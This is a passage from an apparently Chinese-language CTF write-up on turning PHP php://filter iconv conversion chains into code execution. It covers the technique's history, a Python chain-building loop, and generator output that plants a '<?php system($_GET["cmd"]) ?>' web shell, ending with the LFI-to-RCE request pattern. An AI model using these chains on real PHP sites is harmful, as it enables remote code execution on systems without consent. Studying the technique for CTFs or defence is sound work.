Pollution 才知道有這個酷技巧:


最早的起源貌似來自這場 2018 年 CTF 的非預期解。總之 PHP 有個叫做 php://filter 的功能:

php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read.

舉個例子:

<URL>/?page=php://filter/...<FILTERS>.../resource=<target>

上述 URL 開啟我們在 resource= 指定的 <target> 的串流,依序穿過中間列的 FILTERS,最後餵給前面的 page,在打滲透時我們 FILTERS 都會用 convert.base64-encode 去掉特殊字元,像是這樣:

php://filter/read=convert.base64-encode/resource=config

總之,作者從 iconv 的 conversion filter 獲得靈感,想到在 php://filter 應該也可以做到類似的編碼轉換,比方說把 UTF-8 換成 UTF-7:

<?php
$url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text";
echo file_get_contents($url);
// Output:
// some+ADwAPg-text

作者使用這招試圖繞過圖片驗證機制,結果真的成功了:

The actual URL to get the flag, in case you’re wondering: php://filter/convert.iconv.IBM1154%2fUTF-32BE/resource=/flag

I’ve chatted with clZ (the task author) about this and he was as surprised as I was with the solution - looks like it wasn’t the intended one.


之後在另外一場 2021 年的 CTF,某個人看了上面的 writeup 獲得靈感,想到 convert.iconv.UTF8.CSISO2022KR 永遠都會有前綴 \x1b$)C,而 convert.base64-decode 會把所有非 base64 的字元殺掉,所以 \x1b$) 都會被丟掉,只有 C 留著,若有活下來的 = 可以用 convert.iconv.UTF8.UTF7 殺掉,就搓出了下列核心程式碼:

for c in encoded_chain[::-1]:
    filters += conversions[c] + "|"
    # decode and reencode to get rid of everything that isn't valid base64
    filters += "convert.base64-decode|"
    filters += "convert.base64-encode|"
    # get rid of equal signs
    filters += "convert.iconv.UTF8.UTF7|"
if not debug_base64:
    # don't add the decode while debugging chains
    filters += "convert.base64-decode"

因為不是所有的編碼都會有前綴,所以能生成的字元有限,因此有些字元會需要不斷變形才能生出來。最後這個專案把全部字元都補上了,變成通用的生成器。在 Pollution 的例子中,我透過他生成一長串的酬載:

$ python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]) ?>'
 
[+] The following gadget chain will generate the following code : <?php system($_GET["cmd"]) ?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSkgPz4)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|<SNIP>|convert.base64-decode/resource=php://temp

之後在有 LFI 的地方輸入 ?cmd=id&page=php://filter/... 就可以 RCE 了:

神奇吧神奇吧。

至於最後的那些亂碼,是因為最開始一定會需要一些垃圾填 /temp 的初始狀態,這個專案選用 convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|,所以在最後的那堆亂碼就是它變出來的。